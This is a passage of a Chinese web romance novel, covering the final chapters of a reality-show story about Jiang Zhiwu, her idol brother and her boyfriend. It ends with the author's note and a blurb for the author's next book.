他用力摇晃李柏,“吉吉国王!快嚎几声听听!” 李柏:“……”他恨不得回到几秒钟前掐死那个想多管闲事的自己。 弹幕已经笑疯了: 【哈哈哈哈为什么林屿川失恋,倒霉的是宿姚和李柏啊?】 【宿姚实惨!生无可恋跳舞的表情笑死我了。】 【李柏更冤好吗,他只是想去劝个架,直接物种都被改变了!】 【所以这个故事告诉我们,不要轻易安慰失恋的醉鬼,尤其是林屿川这种一口倒的。】 【季宁深!罪魁祸首就是你!你抱得美人归,你的情敌在发疯,你的朋友在受罪!(指指点点)】 江知雾看着眼前这场面,有些担心地站起身,想过去安慰一下。 李乐乐眼疾手快地拉住她:“江姐姐,我觉得……我们现在还是不要上前比较好。” 她指了指林屿川,“我怕他一看见你,受到的刺激更大,不知道还会干出什么事来……” 她看着自家哥哥的惨状,心有余悸,生怕林屿川要拉江姐姐去表演仙女飞天。 李柏皮糙肉厚无所谓,江姐姐可不能累着了! 江知雾被她拦着,只得又默默坐了回去。 林屿川这一通闹,直折腾到大半夜。 最后终于体力不支,抱着空酒瓶子倒在沙发上呼呼大睡,留下满屋狼藉和身心俱疲的众人。 第二天日上三竿,林屿川才揉着发痛的额角悠悠转醒。 他迷迷糊糊地坐起来,看着周围熟悉的环境,大脑一片空白。 一扭头,就看见旁边沙发上瘫着两个仿佛被吸干了阳气的人。 宿姚眼神呆滞,李柏更是张着嘴,一副灵魂出窍的模样。 “唔……早啊。”林屿川完全断片了,迷惑地问,“你俩什么情况?昨晚通宵打游戏了?” 宿姚连白眼都懒得翻了,只是有气无力地哼了一声。 李柏倒是想控诉这个罪魁祸首,结果一张嘴,却只发出了嘶哑的“嗬……嗬……”声。 李柏:“……” 他惊恐地捂住自己的喉咙,又尝试了几次,依旧发不出清晰的声音。 肯定是昨晚被林屿川逼着学猴子叫,嚎到大半夜,嗓子彻底罢工了! 林屿川看着他这滑稽的样子,好心地劝道:“你看你,肯定是熬夜熬太狠了,上火了吧?啧啧,年轻人还是要爱惜身体,别过度熬夜。” 李柏气得想跳起来锤他。 弹幕一大早就被他们逗得不行: 【哈哈哈哈哈哈我笑疯了!凶手在劝受害者保重身体!】 【宿姚:看我这眼神,你自己体会。】 【林屿川你要不要低头看看你手边的酒瓶子呢?】 就在这时,江知雾从厨房走了出来。 林屿川眼睛一亮,立刻把宿姚和李柏抛到脑后,屁颠屁颠地就迎了上去。 江知雾问他:“我和乐乐煮了点醒酒汤,你要不要喝点?” “啊?我昨晚喝酒了吗?”林屿川挠挠头,赶紧说正事,“知雾姐姐,经过一晚上的思考,我觉得我已经想通了,也释然了。感情这事儿不能强求嘛!” 他这话一出,旁边的季宁深脸色刚有所缓和,就听林屿川话锋一转,补充道:“所以,你要是什么时候腻烦了季宁深,随时可以来找我!我会一直等你的~” 季宁深的脸色瞬间以肉眼可见的速度黑了下去。 江知雾哭笑不得,刚想说什么,林屿川却又道:“而且我现在发现,做不成情侣,做姐弟也挺好的!知雾姐姐~以后你就是我亲姐姐了!” 江砚舟一张帅脸也瞬间耷拉了下来。 弹幕笑得一抽一抽的: 【恭喜!林屿川完成了对季宁深和江砚舟的双杀!】 【季宁深:黑脸江砚舟:黑脸PROMAX】 【我真的笑不活了,一晚上而已,林屿川这嘴是偷偷进化了吗,一招制敌于无形!】 江知雾看着林屿川那副“我超豁达”的样子,再瞥一眼旁边气压低沉的季宁深和江砚舟,终于忍不住,“噗嗤”一声笑了出来。 “行了行了,大家快来吃早饭吧。”她笑着招呼道。 “好~”林屿川甜甜地应了。 大家终于热热闹闹地围坐在一起准备吃早饭。 席间虽然林屿川偶尔还会用幽怨的小眼神瞟一下季宁深,但总体气氛还算和谐轻松。 吃饭间隙,江知雾注意到茶几上摆着几个造型可爱的小饼干和小蛋糕,看起来十分诱人。 她以为是节目组准备的点心,便顺手想拿一个,指尖触到才发觉是硬邦邦的模型。 江知雾不由得失笑,又轻轻把模型放了回去,没把这点小插曲放在心上。 一天的录制紧凑而充实,游戏、任务、访谈,笑闹不断。 直到晚上,众人才各自带着些许疲惫回到节目组安排的小楼。 江知雾推开自己的房门,刚打开灯,目光就被床头柜上的东西吸引了过去—— 那里赫然摆着两个精致的小蛋糕,奶油细腻,一个点缀着新鲜草莓,一个点缀着巧克力碎片,正是她白天看到的 模型的那种款式。 只不过眼前这两个蛋糕,散发着甜美的真实香气。 她惊喜地走过去,发现蛋糕下面压着一张对折的便签纸。 打开一看,是江砚舟那龙飞凤舞的嚣张字迹: “姐,模型有什么好吃的,瞅瞅我跑了三公里给你买的真蛋糕——你宇宙第一好的弟弟江砚舟。 PS:本人行事光明磊落,绝不冒领功劳。旁边那个丑点的草莓蛋糕是季宁深那个逼买的,纯属巧合,我去那家店的时候刚巧撞上他了。” 末尾还画了个嫌弃的鬼脸。 江知雾看着这纸条,几乎能想象出江砚舟写下这些话时那副臭屁又别扭的样子,心里顿时被一股暖流包裹,嘴角抑制不住地上扬。 她轻手轻脚地打开房门,先探头看了一眼对面江砚舟的房间——门缝下是暗的,没有透出灯光,应该是沾床秒睡了。 于是,她转身走向隔壁季宁深的房间,轻轻敲了敲门。 房门很快被打开,带着一身湿润的水汽。 季宁深似乎刚洗完澡,墨黑的发梢还滴着水,落在锁骨处的白色毛巾上,洇开深色的水痕。 看到门口是她,季宁深的神色瞬间柔和下来。 “怎么过来了?”他问。 江知雾没有立刻回答,而是往前凑近一步,踮起脚尖,飞快地在他唇角印下一个轻吻。 “来谢谢我的男朋友呀,”她小声道,“蛋糕很甜,我很喜欢。” 季宁深镇定地“嗯”了一声,面色平静:“你喜欢就好。” 江知雾却笑盈盈地戳穿他:“季宁深,你的耳垂红了。” 季宁深下意识想抬手,又硬生生忍住:“刚洗完澡的原因吧。” “哦——”江知雾拖长了调子,目光顺着他流畅的颈部线条下滑,落在那段清晰的锁骨上,那里果然也泛着淡淡的粉色。 她像是发现了什么新奇事物,指尖又移过去,“这里也红了。” 季宁深屏住了呼吸:“屋里温度太高。” “是吗?”江知雾脸上的笑容越发灿烂。 她的目光细细描摹过他的眉骨、鼻梁,最后落在他同样染上绯色的脸颊上。 “可是季宁深,”她凑近他,用气声在他耳边说,“你的脸也红了诶。才发现我男朋友好纯情啊……亲一口就这样了吗?” 那带着笑意的气息拂过耳畔,像羽毛轻轻搔刮。 季宁深对上她满是戏谑的眼睛,满是羞窘地低头,用吻封住了她的唇。 “知雾姐姐,别说了……”魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m 【全文完】 第80章 唇齿间的温存比刚才那个浅吻要深入得多,也漫长得多。 季宁深起初还有些克制,但在江知雾若有似无的回应下,逐渐沉溺了进去。 一吻结束,两人的气息都有点不稳。 江知雾靠在他胸前平复呼吸,眼角眉梢都带着得逞的笑意。 她仰头看着季宁深依旧泛着红晕的俊脸,忍不住又想逗他。 “季宁深,”她声音还带着点微喘,故意眨着眼睛,用一本正经的语气问,“你最近是不是胖了?” 季宁深一愣,下意识摸了摸自己的脸颊:“……没有吧?” “那为什么,”江知雾弯起眼,“你在我心里的分量,越来越重了?” “……”季宁深显然被这突如其来的土味情话击中,整个人都僵了一下,耳根刚刚褪下去的红潮瞬间以更汹涌的姿态卷土重来。 江知雾心满意足地欣赏着他这罕见的失措,终于大发慈悲地放过了他。 第二天,江知雾没忘了给她宇宙第一好的弟弟也道个谢。 江砚舟正叼着片面包,闻言哼了一声,极力想做出不在乎的样子:“随手的事儿,不用谢。” 但微微上扬的嘴角还是出卖了他的好心情。 他咽下面包,又状似随意地开口:“哦,对了,我过几天有场演唱会,就在本市。姐你有空就来。” 以前江知雾不能理解为什么有人会浪费时间和金钱,去专门听别人唱歌,但这次她却毫不犹豫地答应了: “我肯定来。” 江砚舟肉眼可见变得更高兴了,转头对其他嘉宾道:“你们几个,嗯……要是有空也来凑个数,撑撑场子。” 这别别扭扭的邀请,惹得众人都笑了。 李乐乐率先响应:“顶流的演唱会门票那么难抢,能蹭到内场票的话,我必须去啊!” 李柏虽然嗓子还有点哑,但还在努力发声:“嗬……去!” 林屿川也凑热闹:“带上我带上我!我给你举灯牌!” 弹幕一片羡慕之声: 【啊啊啊我也想去弟弟的演唱会!】 【这种神仙友情我慕了!全员给弟弟捧场!】 【咦嘻嘻嘻,我可是抢到票了哟~】 【可恶,快把楼上的姐妹拖出去仗责三十!】 几日后,《推开家门是你》最后一期的录制圆满结束。 虽然节目收工,但嘉宾们的联系并未中断。江砚舟演唱会当天,大家果然早早约好,来到了场馆后台给他加油打气。 后台一片忙碌而有序的景象。 江砚舟已经做好了妆发,一身舞台造型炫酷又耀眼,正坐在化妆镜前进行最后的设备检查。 因为和前经纪公司解约,换了新团队,工作人员里不乏一些新面孔。 一个看起来刚工作不久的年轻女生,正小心翼翼给江砚舟佩戴耳返。 或许是太紧张了,她的手在微微发抖,调整线路时,不小心失手把造价昂贵的耳返给掉到了地上。 周围瞬间安静了一下。 熟悉江砚舟脾气的人都知道,他追求完美,平时对工作要求严格,尤其讨厌临上场前出岔子。 女生的脸早已吓得惨白,手足无措地僵在原地,连声道歉:“对、对不起!江老师!我不是故意的!” 旁边的执行经纪眉头微皱,正要上前责骂。 然而,江砚舟只是低头看了一眼女生捡起来的耳返,镇定地说:“没事,别紧张,换个备用的就行。” 他抬手制止了旁边准备过来协调的执行经济,自己利落地从旁边的工具箱里找出备用件换上,动作娴熟,整个过程不到十秒。 那个女生显然没想到会是这样的结果,愣在原地,还有些惊魂未定。 江砚舟调整好耳返,抬眼看到她还在发愣,又补充了一句:“好了,你去忙别的吧,这里没问题了。下次细心点就行。” 女生这才如梦初醒,连连鞠躬道谢,感激地退到了一边。 江知雾将这一幕尽收眼底,脸上露出了欣慰的笑容。 她的弟弟不再是那个只凭情绪行事的少年偶像,而是一个能够掌控局面、体谅他人、具备专业素养和团队责任感的专业艺人了。 江砚舟对她的目光似有所感,倏地抬头,与她四目相对。 刚刚处理突发事件时那份游刃有余、成熟稳重瞬间消失不见,他又变回了那个在姐姐面前神采飞扬的少年。 “姐!”他冲她扬了扬下巴,“我给你们留了最好的位置,第一排正中间!等着看我的神级现场吧!” 江知雾被他这自卖自夸的模样逗笑,抬手帮他理了理其实并不凌乱的衣领,顺着他的话应道:“好好好,我们等着看顶流巨星大放异彩。” 旁边的李柏、李乐乐、宿姚等人也纷纷给他打气: “加油。” “加油砚舟!炸翻全场好吗!” 江砚舟被大家的热情包围,嘴角翘得更高了。 他让章文时带大家去前台就座,化妆师抓紧最后的时间上前为他补妆、整理发型。 江砚舟配合地微微仰头,目光却不由自主地追随着姐姐离开的背影。 江知雾今天为了来看他演唱会,特意穿了一条漂亮的连衣裙,裙摆略长,随着她的步伐轻轻晃动。 在她小心翼翼步下台阶时,一直走在她身侧的季宁深无比自然地微微俯身,替她提起了曳地的裙摆,嘴里似在提醒她注意脚下。 江砚舟轻轻呼出一口气,那种微妙的、自家白菜被拱了的不爽感,似乎在这一刻又悄然淡去了一些。 好像……多一个人这样细致入微地照顾他姐姐,也没什么不好。 * 在章文时的带领下,众嘉宾都顺利找到了自己的位置坐下。 果然如江砚舟所说,给他们几个留的都是视野极佳的座位,舞台近在咫尺。 江知雾刚落座,季宁深便自然地坐在了她左边。而她右边座位上,一位年轻的小姐姐正兴奋地挥舞着一个闪烁着“舟”字的荧光 棒,嘴里还轻轻哼唱着江砚舟的新歌。 江知雾忍不住多看了几眼旁边女孩手中的东西,觉得颇为有趣。 小姐姐注意到了她的视线,热情地侧过头,在一片喧嚣中提高音量提醒道:“姐妹!应援棒是免费的,就放在座位下面的袋子里!你找找看!” 江知雾闻言,低头摸索,果然在座位下发现了一个应援袋,里面除了统一的应援棒,还有几样小周边。 她拿出应援棒,学着旁边小姐姐的样子握在手里。 “谢谢你。”江知雾礼貌地道谢。 “不客气!” 现场灯光尚未完全亮起,内场区域光线昏暗。小姐姐看不清她的脸,见她动作生疏,便热络地问:“你是不是第一次来参加演唱会啊?” 江知雾诚实地点点头:“是啊,第一次。” “哇!那你运气也太好了吧!第一次就能抢到内场第一排的神仙位置!”小姐姐瞬间更加激动,开始如数家珍地安利起来,“我跟你说,咱砚舟弟弟的演唱会绝对值回票价!他唱跳全能,现场比CD还好听!而且特别宠粉,互动环节超有爱。你等着看吧,保证你听完这场就入坑,垂直入坑那种!” 面对小姐姐连珠炮似的安利,江知雾只是弯着眼睛,温和地应着:“嗯,好,我很期待。” 小姐姐说了半天,发现身边这位“新手粉丝”反应虽然礼貌,但着实有点过于淡定了,既没有尖叫也没有跟着哼唱预热,这在她遇到的同好中实在少见。 正好这时—— “啪!” 现场主灯光骤然亮起,将内场照得如同白昼。 小姐姐下意识侧头,想看看这位淡定过头的邻座真容。 然而,当江知雾带着笑意的侧脸清晰地映入眼帘时,小姐姐瞬间瞪大了眼睛,嘴巴张成了一个“O”型。 紧接着,一声短促而高亢的尖叫差点冲破江知雾的耳膜。 “江、江、江姐姐?!!”小姐姐激动得直接从座位上弹了起来,话都说不利索了,“我的天!是活的!是活的江姐姐!!” 这动静引得周围几人侧目,连季宁深都关切地看了过来。 江知雾也被她这过于激烈的反应吓了一跳,连忙安抚道:“是我,你别激动,慢慢呼吸,还好吗?” 小姐姐捂着胸口,看着近在咫尺的江知雾,有些语无伦次:“我、我我我我没事!呜呜呜……能坐在江姐姐旁边,我上辈子是拯救了银河系吗!《推开家门是你》我每期都看!我超喜欢你的!你和砚舟的姐弟情我也磕死了!” 她一边说一边雀跃地跳着,差点把眼泪都给飙出来。 江知雾看着她这副可爱的模样,忍不住笑着和季宁深对视了一眼:“谢谢你喜欢。快坐下吧,演唱会马上就要开始了。” 小姐姐这才晕乎乎地坐下,但整个人还处于极度兴奋状态,偷偷拿出手机给朋友分享这天大的幸运。 好在演唱会马上就开始了,现场的灯光骤然熄灭,将所有人的注意力都吸引到了舞台之上。 伴随着歌迷们山呼海啸般的尖叫,江砚舟随着升降台缓缓出现在舞台中央,一身闪耀的定制演出服将他衬得如同降临人间的星辰。 他甫一开嗓,扎实的唱功和极具穿透力的声音便掌控了全场。 正如那位热情小姐姐所安利的那样,江砚舟的舞台表现力堪称一绝。 唱跳俱佳,气息稳健,高音清亮有力,舞蹈动作兼具力量与美感,每一个眼神、每一个动作都牢牢抓住观众的视线。 全场观众的情绪都被他牵引着,时而跟着节奏挥舞应援棒,形成一片璀璨的灯海;时而齐声合唱,声浪几乎要掀翻场馆的屋顶。 渐渐地,江知雾也被这热烈而纯粹的现场氛围所感染。 她看着舞台上那个光芒万丈、掌控全场的弟弟,一种难以言喻的自豪涌上心头。 谢幕曲时,江砚舟再次选择了那首《午后回声》。 这首歌曾深陷抄袭的争议中,却在岁月的涤荡中沉淀出独特的意义。 前奏响起时,江砚舟的目光扫过台下第一排正中央。 《推开家门是你》的嘉宾们都在那里—— 李乐乐和季念念在随着节奏晃动荧光棒,宿姚、季宁深还有林屿川专注聆听,李柏热情地冲他招手。 最后,江砚舟的目光定格在江知雾身上。 他的姐姐正微微仰头看着他,嘴角噙着温柔而骄傲的笑意,一下一下,认真而用力地为他鼓掌。 江砚舟仿佛看见了多年前自家那间洒满阳光的琴房,看见了那个紧张又期待地弹奏着这首稚嫩作品的自己。 而那时,姐姐也是这样,安静地坐在他身旁的小凳子上,双手托着腮,眼睛里映着窗外的光,做他最初、也是最忠实的听众。 原来,无论时光如何奔涌,无论是家中一隅还是这万人场馆,无论他是籍籍无名还是光芒万丈…… 那个于他而言最重要的人,始终安静地坐在他的“观众席”上,默默聆听,从未离席—— 作者有话说:正文的故事在此暂告一段落,后续会有番外掉落,感谢大家的一路陪伴! ===【下一本10月20日开文,《反派的早亡亲姐回来了》,求收藏吖~】=== 姜翎死后才知晓,自己不过是一本小说里的早亡工具人。 因她的离世,弟弟姜时礼变得乖戾跋扈,在疯狂追求小白花女主无果后,驱车撞下悬崖丧生。 姜翎直接被气活过来,睁眼就看到姜时礼插兜站在跟前,表情拽得要死。 时隔六年,对方的第一句话是: “谁派你来的?劣质的冒牌货!” 姜翎:“……” 那天,有人看到云城中学凶名在外的校霸姜时礼,被一个小姑娘追着打:“混账!再跟你姐这么说话试试?” * 面对这位登堂入室、自称是他亲姐的女人,姜时礼厌烦,不屑,拼命反抗。 他绝食抗议,姜翎不为所动,并当着他面点了一桌炸鸡烧烤小龙虾,吃得津津有味。 他逃课混进网吧,姜翎坐在他旁边的机位,打得比他还激动。 他把头发染得五颜六色,姜翎淡定举起手机拍摄,把丑陋大头照挂在客厅正中央。 姜时礼屡战屡败,从愤怒到崩溃,不得不接受一个现实—— 这女人,好像真是他亲姐? 念头一起,姜时礼瞬间红了眼眶。 他自认是个克死父母亲姐的灾星,早就该一个人烂在阴沟里。 却没想到,这道以为永远熄灭的光,竟会重新照进他的生命。 * 顾旭白和姜翎曾是同班同学。 上学时期,姜翎就觊觎这位校草的美貌(bushi),花言巧语哄着人跟自己谈起了恋爱。 秋深风凉,庭院沉沉。 姜翎无意间抬眸,看到了一个立在阶下阴影中的男人。 他眉宇间带着清贵的疏离,一身素黑,仿佛是来参加一场肃穆的祭奠。 那双深不见底的目光有如实质,分毫不移地落在姜翎脸上。 姜翎心头一跳。 这位……不就是她当年千方百计哄到手的男友吗?魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m